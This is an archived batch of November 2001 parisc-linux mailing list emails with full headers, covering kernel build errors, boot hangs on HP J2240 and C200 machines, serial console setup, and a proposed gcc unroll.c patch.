Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 18:39:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E03B482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 18:39:24 -0700 (MST)
Original-Received: from verizon.net ([151.201.37.152])
	by smtppop3pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id TAA51065260
	Sun, 11 Nov 2001 19:39:03 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12994

After intalling the most recent kernel snapshot 
ftp://ftp.parisc-linux.org/cvs/linux-20011108.tar.gz (2.4.9-pa79) and 
Randolph Chung's gcc, my 715/75 has been very stable.

I tried to update the sources with the latest CVS version, but the 
compilation failed. The file */arch/parisc/kernel/pdc_cons.c and 
*/kernel/printk.c have a conflict. The variable log_size used in 
pdc_cons.c is not defined in printk.c. The kernel does not build.

P.S. I successfully built linux-20011108.tar.gz with Randolf's gcc 
package. It took an hour.
-- 
      Rafael




From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing (root)" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 - Almost There...
Date: Sun, 11 Nov 2001 21:43:18 -0500
Lines: 76
Approved: news@gmane.org
Message-ID: <3BEF3746.FB93DC1@beldar.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620736 29754 80.91.229.3 (22 Nov 2014 01:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 19:32:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DED4482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 19:32:57 -0700 (MST)
Original-Received: from beldar.com (IDENT:root@dhcp-124.beldar.com [65.163.106.124])
	by beldar.com (8.9.3/8.9.3) with ESMTP id VAA53920
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 21:48:14 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12995

After using my CD burner to create several nice coasters, I have been
able to create a couple of CD's from which my J2240 will attempt to
boot.  I think that I am almost there, but need someone to show me the
error of my ways.  Disclaimer: I am not a System Admin by trade.  I have
been an HP-UX user since about version 7, but have not had a box of my
own to play with until I pulled this J2240 from the trash.  The system
is a J2240 2-way, 2.5GB RAM, 2x8GB internal FW-SCSI Disks, DDS-III,
internal Toshiba SCSI CD-ROM, 21" graphics console.

Here's what I get when I try to boot from the 0.9.2 iso CD after
changing my boot path to the internal CD-ROM (SESCSI.2.0):

Boot IO Dependent Code (IODC) revision 153

HARD Booted

palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6d8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command Line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA8x16
TERM=linux'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: Kernel name doesn't end with 32 or 64... Guessing 32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 010000000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8

Loading ramdisk 1991209 bytes @ 3fe09000...
branch to kernel entry point 0x00100000
Set default PSW W bit to 0

<System hangs here>

---------------------------------------------------------------------------

Booting from the 0.9 sti iso CD gives the above and goes a little
further:

[snip]

CPUID Vers 14 rev 23
Model 9000/782/J2240

[snip]

Found devices:
1. SummitHawk Dino RS-232(10)....
[snip]
18. SummitHawk memory(1)
[snip]
Kernel command line HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0
sti_font=VGA8x16
Console: colour dummy device 80x25

<System hangs here>

---------------------------------------------------------------------------



TIA,
Craig








From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Mon, 12 Nov 2001 07:03:06 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20011112070306.B14600@alpha.of.nowhere>
References: <3BEF3746.FB93DC1@beldar.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620737 29755 80.91.229.3 (22 Nov 2014 01:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing (root)" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 23:08:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45371482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 23:08:08 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAC6856f012779
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 07:08:06 +0100 (CET)
Original-Received: (qmail 3557 invoked from network); 12 Nov 2001 06:03:14 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 12 Nov 2001 06:03:14 -0000
Original-Received: (qmail 17884 invoked by uid 1000); 12 Nov 2001 06:03:06 -0000
Content-Disposition: inline
In-Reply-To: <3BEF3746.FB93DC1@beldar.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12996

On Sun, Nov 11, 2001 at 09:43:18PM -0500, Craig D. Lansing (root) wrote:
> After using my CD burner to create several nice coasters, I have been
> able to create a couple of CD's from which my J2240 will attempt to
> boot.  I think that I am almost there, but need someone to show me the
> error of my ways.  Disclaimer: I am not a System Admin by trade.  I have
> been an HP-UX user since about version 7, but have not had a box of my
> own to play with until I pulled this J2240 from the trash.  The system
> is a J2240 2-way, 2.5GB RAM, 2x8GB internal FW-SCSI Disks, DDS-III,
> internal Toshiba SCSI CD-ROM, 21" graphics console.

We know the story. Now don't mention it again, because we'll go green
with envy and look elsewhere :-)

> Command Line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA8x16
> TERM=linux'
> 
Shouldn't that be ttyS0 for the console?

Good luck,
Jurriaan
-- 
Go not unto the Usenet for advice, for you will be told both yea and nay (and
quite a few things that just have nothing at all to do with the question).
	seen in a .sig somewhere
GNU/Linux 2.4.13-ac8 on Debian/Alpha 64-bits 990 bogomips load:1.33 1.47 1.20



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa gcc bug?
Date: Mon, 12 Nov 2001 18:23:17 +1030
Lines: 65
Approved: news@gmane.org
Message-ID: <20011112182317.K6922@bubble.sa.bigpond.net.au>
References: <20011111160712.D391@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620737 29758 80.91.229.3 (22 Nov 2014 01:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-gcc@lists.debian.org,
	gcc-patches@gcc.gnu.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 00:54:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta03ps.bigpond.com (mta03ps.bigpond.com [144.135.25.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDD95482C
	for <parisc-linux@parisc-linux.org>; Mon, 12 Nov 2001 00:54:01 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.72]) by
          mta03ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GMOGWX00.9VG for <parisc-linux@parisc-linux.org>; Mon, 12 Nov
          2001 18:00:33 +1000 
Original-Received: from 144.136.176.14 ([144.136.176.14]) by PSMAM02.mailsvc.email.bigpond.com(MailRouter V2.9k 8389/2924405); 12 Nov 2001 17:53:36
Original-Received: (qmail 5111 invoked by uid 179); 12 Nov 2001 07:53:17 -0000
Mail-Followup-To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org, debian-gcc@lists.debian.org,
	gcc-patches@gcc.gnu.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011111160712.D391@tausq.org>; from randolph@tausq.org on Sun, Nov 11, 2001 at 04:07:12PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12997

On Sun, Nov 11, 2001 at 04:07:12PM -0800, Randolph Chung wrote:
> Looks like there's a strength-reduce optimization bug in g++-3.0.2 on
> hppa....

For those reading this on gcc-patches, there's a .ii at
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/014491.html
This is with hppa-linux-gcc based on 3.0.2 20011019.

Program received signal SIGSEGV, Segmentation fault.
0x8187803 in loop_iterations (loop=0x83840f4)
    at /src/parisc/gcc_new/gcc/unroll.c:3509
(gdb) p debug_rtx (temp)
(jump_insn 2390 2389 2391 (addr_diff_vec:DI (label_ref:SI 2389)
        [ 
            (label_ref:SI 1998)
            (label_ref:SI 2392)
            (label_ref:SI 2392)
            (label_ref:SI 2392)
            (label_ref:SI 2045)
            (label_ref:SI 2093)
            (label_ref:SI 2141)
            (label_ref:SI 2189)
            (label_ref:SI 2237)
            (label_ref:SI 2285)
            (label_ref:SI 2333)
        ] 
        (const_int 0 [0x0])
        (const_int 0 [0x0])) -1 (nil)
    (nil))

Making a wild stab at a fix, which isn't likely to be ideal as I don't
know this area of gcc.  /mumble  Probably should iterate over the elements
of the addr_diff_vec, or something.  /nomumble

	* unroll.c (loop_iterations): Don't segfault on ADDR_DIFF_VEC.

--- gcc/unroll.c~	Mon Oct 15 11:11:14 2001
+++ gcc/unroll.c	Mon Nov 12 17:41:12 2001
@@ -3506,13 +3506,16 @@ loop_iterations (loop)
 
       do
 	{
-	  if (GET_CODE (temp) == JUMP_INSN
-	      /* Previous unrolling may have generated new insns not covered
-		 by the uid_luid array.  */
-	      && INSN_UID (JUMP_LABEL (temp)) < max_uid_for_loop
-	      /* Check if we jump back into the loop body.  */
-	      && INSN_LUID (JUMP_LABEL (temp)) > INSN_LUID (loop->top)
-	      && INSN_LUID (JUMP_LABEL (temp)) < INSN_LUID (loop->cont))
+	  if (GET_CODE (temp) != JUMP_INSN)
+	    continue;
+	  if (/* It's an addr_diff_vec.  */
+	      JUMP_LABEL (temp) == 0
+	      || (/* Previous unrolling may have generated new insns
+		     not covered by the uid_luid array.  */
+		  INSN_UID (JUMP_LABEL (temp)) < max_uid_for_loop
+		  /* Check if we jump back into the loop body.  */
+		  && INSN_LUID (JUMP_LABEL (temp)) > INSN_LUID (loop->top)
+		  && INSN_LUID (JUMP_LABEL (temp)) < INSN_LUID (loop->cont)))
 	    {
 	      if (loop_dump_stream)
 		fprintf (loop_dump_stream,




From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Mon, 12 Nov 2001 12:49:14 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20011112124914.A17993@dogbert.localdomain>
References: <3BEF3746.FB93DC1@beldar.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620737 29761 80.91.229.3 (22 Nov 2014 01:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing (root)" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 03:48:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 525F2482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 03:48:40 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 163Edo-0007H6-00
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Nov 2001 12:48:36 +0200
Original-Received: (qmail 8095 invoked from network); 12 Nov 2001 10:48:33 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 12 Nov 2001 10:48:33 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 163EeR-0004iU-00; Mon, 12 Nov 2001 12:49:15 +0200
Content-Disposition: inline
In-Reply-To: <3BEF3746.FB93DC1@beldar.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *163Edo-0007H6-00*jWuPoDqoR8A* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12998

Hello,

What I would do is the following:

1. Get the latest working kernel from ftp.parisc-linux.org 
(linux-20011108 should do).

2. Compile (or cross-compile with xc-latest) it, and use tftp/bootp (I
think?) to boot the resulting lifimage from make palo. See how far that
gets you.

Regards,

Albert



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux-2.4.14
Date: Mon, 12 Nov 2001 11:18:45 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.OSF.3.96.1011112111516.10523A-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620738 29765 80.91.229.3 (22 Nov 2014 01:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 04:18:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26A5B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 04:18:28 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with SMTP id LAA14155
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 11:18:45 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12999

Hi there,

One question:

Isn't the loop driver broken in Linux-2.4.14
(and fixed in 2.4.15-pre1) ?

Are there any plans to incorporate the bugfix in the CVS ?

greetings max





From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C200
Date: Mon, 12 Nov 2001 15:05:54 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20011112150554.A10533@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620738 29766 80.91.229.3 (22 Nov 2014 01:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 06:07:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87345482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 06:07:18 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with smtp (Exim 3.33 #4)
	id 163Gpd-000AuO-00
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Nov 2001 15:08:57 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 32E5A1A344; Mon, 12 Nov 2001 15:05:54 +0200 (SAST)
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13000

On Mon, Nov 05, 2001 at 02:22:50PM +0000, Richard Hirst wrote:
> On Mon, Nov 05, 2001 at 07:16:36AM -0500, Herb Radford wrote:
> > OK, I found some stuff in the archive on the "Chassis Codes"
> > and set up an old laptop as a terminal, disconnected the
> > keyboard (and mouse) and booted.  Now I tried this with the
> > disk out of my 712/60 and the C200 is not hung.  It proceeds
> > through the boot process and then hangs on starting cron.
> 
> Hmm, the next thing would be the login prompt.  Has it really
> hung, or is the inittab from your 712/60 set up to only issue
> a getty on the graphical console?

Yes, I had this sort of problem.  The D270 I have access to only
has a serial console.  The debian installation program kept
bombing out at the end, so I eventually managed to get
something working using debootstrap manually.  Then it seemed to
hang after starting crond although it worked fine with
init=/bin/bash.  I realised it was starting gettys on
/dev/tty[1-6] and not on /dev/ttyS0, so I commented out the
virtual console lines in /etc/inittab and uncommented the
/dev/ttyS0 one and things are working much better :)

I did see some nasty fs corruption (ext2) though, but I am not
sure if this is caused by a bad disk or bad termination etc. or
buggy drivers...  I'll post again if I narrow it down more.

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.14
Date: Mon, 12 Nov 2001 15:30:27 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20011112153027.A18181@dogbert.localdomain>
References: <Pine.OSF.3.96.1011112111516.10523A-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="r5Pyd7+fXNt84Ff3"
X-Trace: ger.gmane.org 1416620738 29769 80.91.229.3 (22 Nov 2014 01:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 06:30:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 366AE482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 06:30:12 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 163H9p-0003HD-00
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Nov 2001 15:29:49 +0200
Original-Received: (qmail 8222 invoked from network); 12 Nov 2001 13:29:45 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 12 Nov 2001 13:29:45 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 163HAR-0004jP-00; Mon, 12 Nov 2001 15:30:27 +0200
Content-Disposition: inline
In-Reply-To: <Pine.OSF.3.96.1011112111516.10523A-100000@student.cs.ucc.ie>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *163H9p-0003HD-00*1EsfF0OtoyM* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13001

--r5Pyd7+fXNt84Ff3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

The fix is in according to my parisc-linux-cvs logs. :-)

Regards,

Albert

On Mon, 12 Nov 2001, Markus Grabert wrote:

> Hi there,
>=20
> One question:
>=20
> Isn't the loop driver broken in Linux-2.4.14
> (and fixed in 2.4.15-pre1) ?
>=20
> Are there any plans to incorporate the bugfix in the CVS ?
>=20
> greetings max

--r5Pyd7+fXNt84Ff3
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

